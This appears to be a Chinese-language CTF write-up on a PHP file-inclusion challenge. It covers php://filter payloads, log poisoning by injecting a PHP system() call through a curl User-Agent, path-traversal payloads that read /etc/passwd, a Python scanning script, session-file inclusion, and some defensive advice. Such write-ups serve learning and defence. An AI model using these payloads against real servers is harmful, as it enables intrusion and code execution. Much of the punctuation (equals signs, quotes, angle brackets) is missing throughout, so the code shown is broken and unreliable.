1. 题目背景与核心考点解析这道来自SWPUCTF 2025秋季新生赛的ezez_include题目是典型的文件包含漏洞实战场景。作为CTF入门级题目它主要考察选手对PHP文件包含漏洞的基础理解和灵活运用能力。题目环境通常模拟了存在安全缺陷的Web应用通过精心设计的过滤机制来增加挑战难度。在实际业务开发中文件包含漏洞位列OWASP Top 10危险漏洞榜单可能造成敏感信息泄露、远程代码执行等严重后果。这道题目的价值在于它用竞赛形式还原了真实开发中可能遇到的三种典型防御场景要求选手在受限条件下突破常规思维找到解决方案。2. 基础解法协议利用突破2.1 常规过滤机制分析题目源码通常会设置类似如下的过滤逻辑$file $_GET[file]; if(preg_match(/php|data|zip/i, $file)) { die(Hacker!); } include($file);这段代码明确过滤了php、data、zip等协议关键字但存在几个关键突破口大小写混合绕过PHP的协议处理对大小写不敏感但正则可能只匹配小写协议嵌套利用复合协议的特性绕过关键词检测编码混淆通过URL编码等变换方式干扰检测2.2 PHP伪协议实战应用最直接的解法是使用php://filter协议链?filephp://filter/convert.base64-encode/resourceflag.php这个payload的工作原理是php://filter - 指定使用PHP的过滤器协议convert.base64-encode - 对目标文件进行base64编码处理resourceflag.php - 指定要读取的目标文件当这个过滤链生效时服务器会读取flag.php文件内容进行base64编码转换输出编码后的内容由于整个过程发生在PHP内部处理流程中避免了直接执行PHP代码从而绕过了include的直接执行限制。关键技巧如果遇到更严格的过滤可以尝试协议嵌套如?filepHp://filter/convert.base64-encode/resourceflag.pHp3. 高阶解法日志污染技术3.1 方法原理与适用场景当所有常规协议都被禁用时服务器日志文件包含是最可靠的备选方案。这种方法需要找到可写的服务器日志路径如/var/log/apache2/access.log通过User-Agent或Referer注入PHP代码包含日志文件触发代码执行3.2 具体实施步骤首先确定日志路径常见位置/var/log/apache2/access.log /var/log/nginx/access.log /var/log/httpd/access_log使用curl污染日志curl -A ?php system(ls);? http://target.com/包含污染后的日志?file/var/log/apache2/access.log3.3 实战注意事项日志轮转问题大型网站日志可能每小时轮转需要把握时间窗口权限要求Web用户需要对日志文件有读取权限代码净化某些WAF会清理日志中的特殊字符多阶段注入当单次注入受限时可以分多次完成代码组装4. 防御方案与安全启示4.1 开发者防护建议白名单校验$allowed [about.php, contact.php]; if(!in_array($file, $allowed)) { die(Invalid request); }路径固定化include(__DIR__./templates/.basename($file)..html);禁用危险协议; php.ini配置 allow_url_include Off4.2 CTF选手提升建议协议全家桶掌握php://filterdata://expect://zip://phar://环境信息收集通过phpinfo()获取服务器配置尝试包含/proc/self/environ检查上传临时目录编码变换技巧URL编码双重编码零宽度字符注释混淆5. 扩展思考与变种题型5.1 进阶挑战场景有限字符利用当参数长度受限时的解决方案无回显场景通过DNS外带或延时判断沙箱环境绕过disable_functions限制5.2 真实案例改编某次渗透测试中遇到这样的场景$file str_replace(../, , $_GET[file]); include(/var/www/html/.$file);突破方案file....//....//....//etc/passwd这种多重嵌套可以逐步抵消过滤器的替换操作。6. 工具链与自动化测试6.1 手工测试工具推荐Burp Suite Intruder用于快速测试路径遍历ffuf目录爆破与参数模糊测试phpggcPHAR反序列化利用6.2 自动化检测脚本import requests targets [ php://filter/convert.base64-encode/resourceindex.php, /proc/self/environ, ../../../../etc/passwd ] for payload in targets: r requests.get(fhttp://target.com/?file{payload}) if r.status_code 200: print(f[] Vulnerable: {payload})这种脚本可以帮助快速验证常见的包含漏洞路径。在实际CTF比赛中文件包含类题目往往会结合其他漏洞形成连锁攻击链。建议新手在掌握基础解法后重点培养以下能力服务器环境感知能力过滤规则逆向分析能力非常规协议组合运用能力有限条件下的代码构造能力最后分享一个实用技巧当遇到特别严格的过滤时可以尝试用session文件包含。先通过session_start()创建会话然后控制部分session内容最后包含session文件通常位于/tmp/sess_[PHPSESSID]。这种方法在特定环境下能出奇制胜。
